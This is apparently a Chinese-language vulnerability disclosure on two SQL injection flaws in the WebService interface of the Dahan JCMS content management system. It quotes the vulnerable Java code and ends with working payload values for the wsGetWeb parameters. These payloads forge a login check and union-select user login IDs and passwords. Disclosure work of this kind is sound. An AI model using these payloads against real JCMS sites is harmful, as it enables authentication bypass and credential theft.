0x1) 还是WebService。大汉版通JCMS系统较高版本(带WebService的)。 该系统WebService部分操作存在SQL注射漏洞。以wsReceive服务的wsGetWeb操作为例,wsGetWeb有4个参数:
public String wsGetWeb(String strWebIds, String strLoginId, String strPwd, String strKey) { SysInit.init(); this.clientIp = getClientIpAxis(); OrganizeCatalogAndWebXml blf = new OrganizeCatalogAndWebXml(); if ((this.clientIp == null) || (this.clientIp.length() == 0)) this.clientIp = "无法获取IP地址"; String strRet = blf.getWebs(strWebIds, strLoginId, strPwd, strKey); String strDesc_log = "3,返回JCMS系统中指定网站或所有网站的名称"; Jcms_InterfaceLogBLF logBLF = new Jcms_InterfaceLogBLF(this.strAppId); logBLF.insertLog(strLoginId, strDesc_log, this.clientIp); return strRet; }
进入blf.getWebs(strWebIds, strLoginId, strPwd, strKey):
public String getWebs(String webInfos, String strLoginId, String strPwd, String strKey) { ArrayList list = null; Jcms_WebinfomationBLF blf = new Jcms_WebinfomationBLF(this.strAppId); Verify vBlf = new Verify(this.strAppId); int iCheck = vBlf.checkUser(strLoginId, strPwd, strKey); //注射点1 String strRet = null; switch (iCheck) { case 1: strRet = getError("01"); break; case 2: strRet = getError("02"); break; case 3: list = blf.getAllWebInfo(Convert.getValue(webInfos)); //注射点2 if ((list == null) || (list.size() == 0)) { strRet = getError("03"); break label148: } strRet = organizeWebXml(list); break; default: strRet = getError("01"); } label148: return strRet; }
这里有两处注入,注射点1 checkUser()(这个函数在JCMS里说到几次了,之前 WooYun: 大汉版通JCMS内容管理系统SQL注射漏洞 也是这里),看关键代码:
public Merp_Pub_UserEntity getEntity(Merp_Pub_UserEntity entity) //entity里原样存储了用户提交的用户名(strLoginId)。 { if (entity == null) return null; try { String strSql = "SELECT c_id,vc_loginid,vc_password,vc_username,vc_usergroupid,vc_headship,vc_comptel,vc_compfax,vc_hometel,vc_mobile,vc_email,vc_qq,vc_msn,c_enable,vc_ip,c_accesstime,n_loginfail,c_failtime,c_alertflag,n_alertinterval,vc_usertype,i_defaultwebid ,i_age,c_sex,vc_address, vc_post,vc_pwdquestion,vc_pwdanswer,c_createtime,vc_firstspell,vc_userkey FROM merp_pub_user"; if (!("".equals(entity.getVc_loginid()))) strSql = strSql + " WHERE vc_loginid='" + entity.getVc_loginid() + "'"; //entity.getVc_loginid()获取的值来自参数strLoginId,注入产生,查询结果可控。 else if (!("".equals(entity.getVc_username()))) strSql = strSql + " WHERE vc_username='" + entity.getVc_username() + "'"; else { return null; } String[][] data = Manager.doQuery(this.strAppID, strSql); Merp_Pub_UserEntity entity1 = null; if ((data != null) && (data.length > 0)) { entity1 = new Merp_Pub_UserEntity(); ... entity1.setVc_password(Convert.getValue(data[0][2])); ... } return entity1; } catch (Exception e) { LogWriter.error("getUserEntity Error:" + e, UserBLF.class); } return null; }
checkUser不返回数据,注射点1是个盲注。来看注射点2,通过注射点1可以通过checkUser验证引发注射点2,Convert.getValue()过滤首尾空格,来看getAllWebInfo():
public ArrayList getAllWebInfo(String ids) { ArrayList al = new ArrayList(); StringBuffer sqlBuf = new StringBuffer(); sqlBuf.append("SELECT i_id,vc_webname,vc_domain,c_createtime"); sqlBuf.append(" FROM jcms_webinfomation"); if ((ids != null) && (!("".equals(ids)))) { sqlBuf.append(" WHERE i_id IN(").append(ids).append(")"); //ids来自用户输入的strWebIds,,产生SQL注射漏洞。 } sqlBuf.append(" ORDER BY i_jcmsorderid,i_id ASC"); String[][] strData = (String[][])null; try { strData = Manager.doQuery(this.strAppID, sqlBuf.toString()); if ((strData != null) && (strData.length > 0)) for (int i = 0; i < strData.length; ++i) { Jcms_WebinfomationEntity webEn = new Jcms_WebinfomationEntity(); webEn.setI_id(Convert.getStringValueInt(strData[i][0])); webEn.setVc_webname(Convert.getValue(strData[i][1])); webEn.setVc_domain(Convert.getValue(strData[i][2])); webEn.setC_createtime(Convert.getValue(strData[i][3])); al.add(webEn); } } catch (Exception ex) { LogWriter.error("[getAllWebInfo] " + ex.getMessage(), Jcms_WebinfomationBLF.class); } return al; }
漏洞测试,设置几个参数值如下: strWebIds:10000) union select NULL,vc_password,vc_loginid,NULL from merp_pub_user-- strLoginId:A' union select NULL,NULL,'AEY=',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL from merp_pub_user-- strPwd:1 strKey:(空)